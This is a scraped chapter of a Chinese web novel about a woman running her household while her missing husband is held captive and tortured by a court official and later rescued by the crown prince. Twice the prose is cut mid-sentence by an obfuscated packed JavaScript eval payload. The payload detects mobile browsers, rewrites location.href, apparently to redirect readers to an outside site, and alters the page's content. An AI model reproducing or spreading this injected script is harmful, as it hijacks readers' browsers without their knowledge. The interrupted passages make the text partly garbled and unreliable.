乔小遇如何不知道她娘的想法，然而倘若真出了什么变故，她也不愿与老两口讨论，原因无他，只因她对乔冉安夫妻俩遇事抱头痛苦的情景记忆深刻……倘若真遇着事了，这个家还得靠自己撑着。 是以等傅娘子去给自己煮糖水蛋的间隙，乔小遇遣人将方管事召了过来。“自夫君脱离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924441|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆苑之后，我且瞧着在他身边得力又贴心的老人只有方管事您了，想来你对郎君心意总能知道几分的。” 乔小遇的目光轻轻落在方管事身上，接着道：“郎君此去济水东线后，不曾往家中捎一封信，方管事可知为何？” 方管事汗颜，口中嗫嚅道：“这……不若老奴再去寻一趟？” “再去……能寻到人么？”乔小遇假意眸中染了几分怅然之色，冷声道：“我只不知方管事此去回带来什么消息。我也不知，这天下之大，这好端端的人，怎就不见影了呢？” “请主母恕老奴欺瞒之罪……”方管事额间已是密汗紧布，他便知道这事瞒不了多久的。 待方管事将前情道来，乔小遇原本强自镇定的心神也渐如烟尘般四散而开了，呢喃道：“你当时不同我说是好的……” 她低头轻轻抚着小葡萄的脸，道：“如今我已从那鬼门关回来，便是郎君不在，我也会将这门户撑立起来。方管事，你帮我给皇都去封信……” “不必了，想来那些旧人早已得知郎君失踪的消息，我反而是最后知道的。”顶着陆公之名，都水监上下怎敢怠慢，昔日敌友恐怕早已知悉。 “倘若他伤了肺腑四肢，那么伤好之后他自然会回来；倘若他忘却前尘，那么他已不是他，这家归与不归都是一样；倘若他有个三长两短的，那……那我们娘俩的日子还是得照过。” 她的话音听来平稳，不过偶有凝滞之感，可只有乔小遇自己知道，她的气息早已被一层厚冰封住，每吐出一个字都似破冰般艰难。 乔小遇顾着自己身体，坐月子时只将心思转到扩展药田和兴建书院的事情上去，虽不能事事亲力亲为，但她总要给自己找个目标，她不想懈了这股气劲，她只怕自己懈了这气劲就很难站起来了。 她一直没有提立衣冠冢的事，方管事更不敢提。 村里人虽有在后面议论的，但承着她家的情，问及陆桓怎还未归家的事情也都是关切之语。众人只当陆桓在外行商这才疏忽了家里，虽有不妥，但见乔小遇身子康健，家宅齐心，谁能小觑了去呢？ 这样一个厉害的女子，那便是十里八方听了也是纷纷称赞的。 “怪不得能嫁与那般绰然独立的郎君，两人真是相配矣！”傅娘子每当听得这话，脸上都干笑着，心里担心的却是两三年之后的光景。 谎言总有被戳破的一天，日子一长，四里八乡怎探不得内中虚实？只怕众人欺你孤儿寡母，辛苦攒下的家财也未必能守住！ “小遇啊，陆桓失踪信已有半年，你还是要为自己好好打算啊。你这样一个聪明的，怎么能在一棵树上吊死？” 傅娘子尽量温言相劝，瞧着怀中的小葡萄咿咿呀呀地笑着，眸中不忍蓄上热泪，“你同你姐姐一般，姻缘事上怎么那么多波折？没个知心人相伴，日后可怎么过呢？” 113. 修文结束内容前移 乔小遇轻轻皱眉，道：“我看何小知的日子如今好不快活，不必处处受人掣肘……我倒也不是说要学了她去，我们的处境本就不同。” “是了，怪我，不该提起你自觉没情分的姐姐。”傅娘子被触及泪点，但她尽量控着自己低落的情绪想要继续劝乔小遇一二，却被乔小遇阻了。 “娘也知道坐月子的人最爱胡思乱想，怎么还总是拿一些戳人心的事来刺激我呢？一会儿陆桓，一会儿何小知的，这些有关的无关的人，我现下一个都不愿想。娘你回去吧，我想睡一会儿。” 乔小遇虽然知道傅娘子并无恶心，可有的说辞一吐都是伤人心的冰锥子……心里紧绷着根弦的乔小遇，如今再次失去了迁就他人情绪的想法。 傅娘子只得讪讪走了…… 仿佛数着日子过活，乔小遇终于出了月子。因为母乳不够，乔小遇从县上寻了个奶娘来帮着照看小葡萄，她自己且忙着事，打点家中上下。 “主母，之前托人去采买的青石料已经送到了，请您过去清点一下。” 听着管事来报，乔小遇这才舍得将孩子放到奶娘臂弯中。她的动作小心翼翼地，生怕将孩子吵醒，人随后轻轻打起帘子离开…… 如今书院的地基几乎已经成型，既然依山而建，便要将排水、造景诸事考虑到位。乔小遇请人测算过地势起落和占地面积，定了上好的青石料来作建筑基础、墙体、台阶等等，坚固耐用。至于木材则就近为宜，能用杉木的就用杉木，需要装点又容易损坏的门窗则请人另购了金楠木来用。 按照陆桓当初的设想，书院将以讲堂为中心，自下至顶为中轴，书院正门、讲堂、祭殿等依次排列，书楼建成塔状，居于山势最高处最佳，以此能仰见天穹，俯见山河。 至于斋舍则分布于左右，前后各成院落，再布局厨湢仓廒于外围，连接菜田小舍，方便给书院提供补给。 通平县令在听闻书院已动工一段时日后，特地来访。他许诺将书院进料时所花税费尽数免去不说，还道会请了北地有名的雕刻和彩绘师傅来处理斗拱、门窗的图案，锦上添花一笔，只为福泽一方。 乔小遇听了自是欣喜不胜，有了官府搭桥牵线，在访工问料方面都变得方便许多。偶有那一两个黑心商家想要诓她的，终也不曾得逞。 她就这样一步步谋算着，一边顾着家里的生意，一边顾着书院的营造之事，似乎已忘了陆桓失踪所带来的伤痛。只当无人时，她才会到小舍窗前独坐片刻…… 就像这样一个下着淅沥小雨的日子。 营造书院之事被耽搁，请来务工的人都回了家，乔小遇也就闲来无事在家歇息。灶上蒸着梅花糕，乔小遇提了个躺椅坐在门廊柱下，兀自看着雨幕出神。 道路渐变得泥泞起来，牛马蹄印里凹集起一汪汪泥水，从坡底向上看时，这些凹印便仿佛无数只碗摞在一起，对神祇进行供奉。 “车夫，麻烦您再快一些……”听得车帘后那郎君的吩咐，车夫高扬马鞭，应道：“哎，郎君您坐稳了！” 急速行驶的马车轱辘将车辙里的泥水碾得四下飞溅，马儿有时行疾甚至在坡路上打了滑，但这一路上不曾耽搁。 近了，近了…… 陆桓难言此刻的心情。他离家快有一年，失信足有九月，如今算来他的孩子都已经有八个月了……越是算、越是觉得亏欠，越是觉得不安：在任连忠那贼子府中“休养”时，他甚至收到妻子改嫁的消息。 当时任连忠着人将他这副半残之躯寻到后，直将他圈住所在皇都富贵乡，那处庄院上下如铁桶一块，他连递信都难。 原本陆桓以为这人是存了报复之心，或是想要挟迫自己什么，却没想到是要让他娶任家女！ 陆桓紧盯了任连忠片刻，倏然笑道：“这我可搞不懂任公之意了，我身后无权无势无名，你招我这布衣作婿，看中我什么了？又或者你对我父亲心存愧意，竟不惜以自己的女儿作为歉礼？” “婚姻之事岂是这般儿戏的？”陆桓匪夷所思，讥讽道：“任公难道是因为膝下子弟无能，无法光耀门楣，所以才想让我步朝堂，接过你的权柄？又或者，用我作为钳制旧人的套绳？这才是真正的缘由罢。” 任连忠没想到几年未见，陆桓早已不是他初次识得的谦谦君子了。陆桓如果真的别无所求，那为什么要插手勾连运渠之事？ 任连忠是真的起了惜才之心，可陆桓的阴冷却如刻刀一般，“任公不会认为我们能冰释前嫌吧？我可不是你手下的幕僚，依附在你身边、匍匐在你脚下只为了能实现自己的宏图抱负…… 任公如果真的将某扶持到那般地步，那无异于往家中引了一条毒蛇，这毒蛇记仇，只怕势大之后第一个咬的人就是您。” “若有了姻亲之实就不一样了。小女温柔敦厚，含章贞吉，比你那身在山野的村妇不知好了多少！”任连忠见他不为所动，顿了顿话音接着道：“人只道富贵时糟糠之妻不下堂，可你落难后你的妻子就要改嫁了！陆桓啊，你说那穷山僻壤处有什么可值得你留恋的？” 陆桓闻言眉心一跳，若妻子真走到改嫁那一步，那当是有人从中作梗，家中出了大变故…… 他轻轻地调整呼吸，眉眼间已尽是阴戾之色，定声道：“就算她改嫁……但凡我有留命回去的一天，也会将她重新接到身边。 而任公若执意让我当你的贤婿，那我便让你红事变白事，等着为你女儿收尸罢。”他冷硬的语调里藏着威胁，真切如毒蛇一般缠上脖颈…… 任连忠心想当初的陆彰是宁为玉碎不为瓦全的清高，可陆桓却像一头困兽般疯狂……这让人想要打碎他的爪牙、消磨尽他引以为傲的自尊，以此才能够证明自己不是最先退步的那一个！ 然而困兽好训，疯子却是不按常理出牌的！ 当任连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924442|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忠奉命南下两浙考察海情时，众人都恭贺他是圣眷在身，但因官家命他三日后启程，事出仓促，任连忠临行前思虑再三，还是往圈居陆桓的别院去了一趟。 若能说动最好，若是不成，那恐怕是要动杀心了…… 任连忠察觉到，自己的耐心渐渐被磨没了。他原也打算强压婚事，可陆桓兴许会疯狂报复。也正因为这点，任连忠虽遣了人去通平县窥探，却不曾真正对乔小遇使手腕——或许，还有觉着一个小娘子无足轻重的意思。 时至今日，任连忠也不知自己想要扶持的是一个社稷良臣还是无情无义的傀儡了！ 就在他怀着复杂的心情踏进京郊别院的后脚，四遭竟突然间山火肆虐！依照律法，纵火烧林等同于纵火烧私宅，当处以徒刑三年不说，还当根据造成的损失定流放之罪！是谁指使了人蓄意纵火呢！ 眼看着风扬火起，这火势迅速朝别院边蔓延过来，任连忠让管事的将家仆派出伐木以作隔离区域…… 这动静终是闹大，当看着太子派驻人马来救火时，任连忠就知这是一出螳螂捕蝉的戏码！ 纵火的本就是几个恶人，一查明个个身上都背着官司，原来以利相诱、瞒天过海这种手段连当初那个只沉迷于做木工的太子也会使了！他看得分明，却不能拆穿，太子也是一样。 当坐着轮椅的陆桓被找到时，太子很想质问任连忠，然而究本都是一局扣一局，分辨个清明的结果是子、臣均遭斥落！ 陆桓轻轻拍了下太子的手背，劝他忍耐下来，接着才幽幽看向任连忠，道：“陆某在此蹉跎数月，也算是见识到了任公的手段，我们——后会有期！” 上次离开皇都时，陆桓不欲相争，走得决绝，当时他觉着立场不重要，就算父亲的故旧之交转投入任连忠门下，只要能与社稷改革有功，那就不算违背初心。可这一次…… 这一次，税法变革已经施行一年由余，不曾大刀阔斧，所以皇都昌顺平乐。朝中没有任连忠，变革依旧会继续，开海之事也会势在必行！ 任连忠，就像一枚困在棋盘上的子，可以死了！何必等他自然老去，听后人评述他的功过！ 陆桓，终究起了报复之心！ 在将人接回之后，太子连忙请了太医为陆桓诊治，待听得那句“断胫复续十余次”，才明白陆桓究竟经历了什么！ “陆桓，是孤来晚了。”太子难以想象任连忠竟会那般残忍地将陆桓的小腿打断，又假仁假义地请人为他接骨，如此反复折磨…… “殿下不必忧心，又不是站不起来了。”陆桓的嗓音里掩着疲惫，他将裤腿放下，遮住自己那双有些畸形的、布满了深褐色的瘢痕的腿，“殿下别看了，瘢痕丑陋，恐污了您的眼。” 太子心中既戚然又愤怒。虽在天家，应早已学了冷心冷性，但陆桓是那个一路看着他走来的人，如今看着陆桓遭遇此劫，让他如何不动容？